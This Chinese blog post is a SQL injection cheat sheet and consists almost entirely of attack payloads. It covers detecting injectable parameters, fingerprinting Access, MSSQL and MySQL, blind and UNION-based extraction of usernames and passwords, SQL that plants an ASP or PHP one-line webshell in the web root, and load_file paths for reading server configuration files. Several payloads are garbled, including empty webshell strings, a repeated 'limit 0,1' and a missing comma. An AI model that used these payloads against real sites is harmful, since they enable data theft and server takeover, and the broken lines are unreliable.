辉克's Blog

创造机会的人是勇者;等待机会的人是愚者

SQL注入基础

简单判定有无漏洞:
粗略型:提交单引号’
逻辑型(数字型注入):and 1=1/and 1=2
逻辑型(字符型注入):’ and ‘1’=’1/’ and ‘1’=’2
逻辑型(搜索型注入):%’ and 1=1 and ‘%’=’%/%’ and 1=2 and ‘%’=’%


简单判断数据库信息:
粗略型:
加单引号’(根据服务器报错的信息来判断)
加;–(;表示分离,– 则是注释符,;和–MSSQL数据库有,ACCESS数据库没有)
逻辑型:
and user>0
and (select count(*) from msysobjects)>0 ……(页面错误为access数据库)
and (select count(*) from sysobjects)>0 ……(页面正常为MSSQL数据库)
and db_name()>0 ……(爆数据库名)
and version>0(爆SQLServer版本信息以及服务器操作系统的类型和版本信息)
判断MSSQL权限:
and 0<>(Select ISSRVROLEMEMBER(’sysadmin’))–(页面正常则为SA)
and 0<>(Select IS_MEMBER(’db_owner’))–(页面正常则为db_owner)
and 0<>(Select IS_MEMBER(’public’))–(页面正常则是public)
注意:
以上方法适用于参数是int数字型的时候。
若为字符型,需在参数后添加单引号’并在查询语句后添加;–,搜索型注入以此类推。


ACCESS注入基本流程:
猜解表名:
and 0<>(select count(*) from 表名)或 and exists(Select * from 表名)
猜解字段:
and exists(Select 字段名 from 表名)(页面正常存在该字段,不正常不存在该字段)
猜解用户名和密码长度:
and(Select top 1 len(列名) from 表名)>N
(TOP表示把最前面的一条记录提取出来;N为变换猜解的列长度,页面错误即说明该列长度为N)
如:
and 1=(select count(*) from user where len(name)>6) 错误
and 1=(select count(*) from user where len(name)>5) 正确
则表示user表中name字段的第一条记录的长度是6。
猜解用户名和密码:
and (select top 1 asc(mid(列名,1,1)) from 表名)>0
如:
and (select top 1 asc(mid(name,1,1)) from user)>96 页面正常
and (select top 1 asc(mid(name,1,1)) from user)>97 页面错误
则表示user表中name字段的第一条记录的第一个字符的ASCLL码为97
注意:
因为MD5的密文长度通常有16位、18位、32位、40位等几种,
所以猜解密码的时候试一试15、16、17、18、31、32、39、40等长度可以加快猜解进度。


MSSQL报错注入基本流程:
爆出表名和字段:having 1=1–


猜解表名:
获得第一个表名:
and (select top 1 name from sysobjects where xtype=’u’)>0
获得第二个表名:
and (select top 1 name from sysobjects where xtype=’u’ and name not in (‘user’))>0
以此类推。


猜解列名:
得到col_name表中的第一个列名:
and (select top 1 col_name(object_id(‘字段’),1) from sysobjects)>0
猜解字段内容:
and (select top 1 列名 from [表名])>0
如:
获取用户名:
and (select top 1 username from [admin])>0
获取密码:
and (select top 1 password from [admin])>0
导出webshell:
方法1:利用SQL执行命令功能导出WebShell
SELECT ‘<%execute request(“a”)%>’ into [vote] in ‘d:webx.asp;.xls’ ‘excel 8.0;’ from vote
注意:需拥有SQL执行权限且知道绝对路径
方法2:
建立一个有一个A字段的表 表名为a,字段类型为字符,长度为50。
在表A的a字段插入一句话木马,把表a的内容导出为物理路径的一个EXCEL文件。
导出为EXCEL后在利用IIS解析漏洞就可以变成webshell了。
方法2的SQL语句:
create table cmd (a varchar(50))
insert into cmd (a) values (‘<%execute request(“listentide”)%>’)
select * into [a] in ‘f:hostqhdyxtweba.asp;.xls’ ‘excel 4.0;’ from cmd
drop table cmd


MYSQL注入基本流程:
MYSQL注入漏洞是否存在的判断方法与ACCESS注入和MSSQL注入相同。
MYSQL注入漏洞的数据库类型判断方法也可以使用单引号’。


数据库权限判断:
and ord(mid(user(),1,1))=114 /* (页面正常说明为root)
判断当前页面字段总数:
方法1、用union联合查询:and 1=1 union select 1,2,3,4,5……
方法2、用order by 查询“order by *–
判断显示位:
方法1、www.f4ck.org/article.php?id=1 and 1=2 union select 1,2,3,4,5,6,7……
方法2、www.f4ck.org/article.php?id=-1 union select 1,2,3,4,5,6,7……


查库:
版本大于5.0的mysql的information_schema库中存储着mysql的所有数据库和表结构信息,所以可以利用information_schema库快速注入。
获取第一个库名:
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
获取第二个库名:
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,2
以此类推。
查表:
获取数据库中第一个表名:
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库名的十六进制 limit 0,1
获取数据库中第二个表名:
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库名的十六进制 limit 1,2


查列:
获取数据库中指定表的第一个列名:
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名的十六进制 limit 0,1
获取数据库中指定表的第二个列名:
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名的十六进制 limit 0,1
得到字段内容:
在不同的显示位显示不同的字段内容:
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
在同一个显示位显示不同的字段内容:
and 1=2 Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
一次性查出所有表名:
union select 1,2,3,4,GROUP_CONCAT(DISTINCT table_name),6 from information_schema.columns where table_schema=数据库名的16进制
一次性查出所有字段名:
union select 1,2,3,4,GROUP_CONCAT(DISTINCT column_name),6 from information_schema.columns where table_schema=数据库名的16进制
导出一句话


WebShell:
方法1:
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES(”);
Select cmd from temp into out file ‘F:/wwwroot/eval.php’;
Drop TABLE IF EXISTS temp;
方法2:
Select ” into outfile ‘F:/wwwroot/eval.php’;


load_file() 常用路径:
c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虚拟主机配置文件
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
c:/Program Files/Apache Group/Apache/conf/httpd.conf 或C:/apache/conf/httpd.conf 查看WINDOWS系统apache的配置文件
c:/Resin-3.0.14/conf/resin.conf查看jsp开发的网站 resin文件配置信息

发表回复